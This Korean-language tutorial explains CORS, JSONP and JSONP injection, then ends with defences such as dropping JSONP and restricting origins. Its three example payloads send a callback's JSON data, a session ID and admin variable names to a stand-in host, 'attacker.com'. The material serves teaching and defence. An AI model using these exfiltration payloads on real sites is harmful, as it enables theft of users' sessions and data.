Jsonp Injection Attack

   

CORS(Cross Origin Resource)

HTTP 통신시에, 처음 전송되는 리소스와 다른 도메인으로부터 리소스가 요청될 경우 해당 요청을 Cross-origin HTTP Request 라고 부른다.
보안 상의 이유로 대부분의 브라우저들은 이러한 통신을 제한하고 있는데
자바스크립트의 XMLHttpRequest 객체로 통신할 때에 사이트 외의 도메인에 요청을 보낼 수 없는 것 또한 이런 이유에서다.
CORS는 Jsonp, document.cookie 값 설정, 브라우저 특수 옵션(크롬의 –disable-web-security 옵션 등) 와 같은 방법으로
일부 극복이 가능하지만 보안 취약점을 유발할 수 있기에 주의하여 사용하여야 한다.

JSONP(JSON with Padding)

1
2
3
4
5
6
<script>
function parseResponse(data) {
// do something with data
}
</script>
<script src="http://example.com/info/?callback=parseResponse"></script>

Jsonp는 일반적으로 위와 같은 형식으로 구성되는데
<script>는 cors의 제한을 받지 않기에 src 속성에 주소를 지정해주면
다른 도메인이라도 주소의 데이터를 가져와 스크립트로서 실행시킨다.

1
2
// http://example.com/info/?callback=parseResponse
parseResponse({"name" : "James"})

서버의 응답은 Json 형태의 변수를 callback 함수가 소괄호로 감싸는 형태로 이루어지는데
내부의 변수를 인자로 하여 콜백 함수를 실행시키도록 구성된다.

JSONP Injection

1
2
3
4
5
6
7
8
9
// data
parseResponse({"name" : "James"})

// payload
<script>
function parseResponse(data) {
(new Image).src = "https://attacker.com/?q=" + JSON.stringify(data);
}
<script src="http://example.com/info/?callback=parseResponse"></script>

가장 대표적인 예로 콜백 함수에 의해 함수가 실행되는 경우로
스크립트가 삽입된 곳으로 클라이언트가 접속만 한다면 전혀 관계가 없는 사이트로 데이터를 요청할 수 있다.

1
2
3
4
5
6
7
8
// data
session_id='5bbfe9d379e8319f29b1582be8e1f342'

// payload
<script src="https://example.com/info/"></script>
<script>
(new Image).src = "https://attacker.com/?q=" + session_id;
</script>

응답이 자바스크립트의 변수의 정의문으로 기능할 경우이다.
실제 스크립트로서 동작하고 변수의 이름을 예측할 수 있다면 데이터 탈취가 가능하다.

1
2
3
4
5
6
7
8
9
// data
admin_5bbfe9d379e8319f29b1582be8e1f342= 1

// payload
<script src="https://example.com/info.html"></script>
<script>
(new Image).src = "https://attacker.com/?q=" +
Object.getOwnPropertyNames(window).filter(x=>x.indexOf('admin')!=-1);
</script>

l-value가 base64로 되어있고 r-value가 변수로 파싱 가능할 경우이다.
Object.getOwnPropertyNames 함수를 이용해 정의된 모든 변수 이름을 가져올 수 있고
변수 이름을 예측 가능하다면 filter 함수를 이용해 대상을 특정하여 추출할 수 있다.
이외에도 동일한 기능을 하는 함수로 Object.keys 를 사용할 수 있다.

Conclusion

GET 메소드를 통한 요청밖에 불가능하다는 점은 JSONP Injection의 한계점이다.
Jsonp는 script 태그의 리소스를 지정하여 데이터를 불러오는 방법이므로
GET 이외의 메소드로 Jsonp를 구현할 방법은 현재로서 없다.

Jsonp Injection을 예방하는 최고의 방법은 애초부터 Jsonp를 사용하지 않는 것이다.
별도의 서버 설정을 필요로 하지만 cross-domain ajax를 사용하면 완벽하게 대체 가능하다.
또한 Access-Control-Allow-Origin 헤더를 이용하여 접근을 제한시켜 주거나
페이지의 mime type을 설정하여 script 태그의 리소스로서 사용하지 못하도록 하면 된다.